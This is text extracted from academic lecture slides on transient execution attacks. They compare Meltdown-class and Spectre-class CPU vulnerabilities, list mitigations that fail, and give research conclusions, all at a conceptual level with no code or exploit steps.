- Own timer using timing thread
- Flush instruction only privileged
- Cache eviction through memory accesses
- Just move secrets into secure world
What does not work

- Prevent access to high-resolution timer
  → Own timer using timing thread
- Flush instruction only privileged
  → Cache eviction through memory accesses
- Just move secrets into secure world
  → Spectre works on secure enclaves
Meltdown vs. Spectre

Meltdown attacks

Out-of-Order Execution

no prediction required

melt down isolation by ignoring access permissions (e.g., page table bits)

practical mitigation in software (e.g., KAISER)

Spectre attacks

Speculative Execution

Out-of-Order Execution

fundamentally rely on prediction
dicult to mitigate because it does not violate access permissions
Meltdown vs. Spectre

Meltdown attacks
- Meltdown, LazyFP (v3.1), Foreshadow, Foreshadow-NG, ...

Spectre attacks
- v1, v1.1, v2, v4, SpectreRSB (v5)
Meltdown vs. Spectre

Meltdown attacks
- Meltdown, LazyFP (v3.1), Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution

Spectre attacks
- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution ⊂ Out-of-Order Execution
Meltdown vs. Spectre

Meltdown attacks
- Meltdown, LazyFP (v3.1), Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution
- no prediction required

Spectre attacks
- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution ⊂ Out-of-Order Execution
- fundamentally rely on prediction
Meltdown vs. Spectre

Meltdown attacks
- Meltdown, LazyFP (v3.1), Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution
- no prediction required
→ melt down isolation by ignoring access permissions (e.g., page table bits)

Spectre attacks
- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution ⊂ Out-of-Order Execution
- fundamentally rely on prediction
- difficult to mitigate because it does not violate access permissions
Meltdown vs. Spectre

Meltdown attacks

- Meltdown, LazyFP (v3.1), Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution
- no prediction required

→ melt down isolation by ignoring access permissions (e.g., page table bits)

- practical mitigation in software (e.g., KAISER)

Spectre attacks

- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution ⊂ Out-of-Order Execution
- fundamentally rely on prediction
- difficult to mitigate because it does not violate access permissions
Conclusions

- new class of attacks
Conclusions

- new class of attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks
Conclusions

- new class of attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks
- dedicate more time into identifying problems and not solely in mitigating known problems
Transient Execution Attacks

Daniel Gruss
September 12, 2018
Graz University of Technology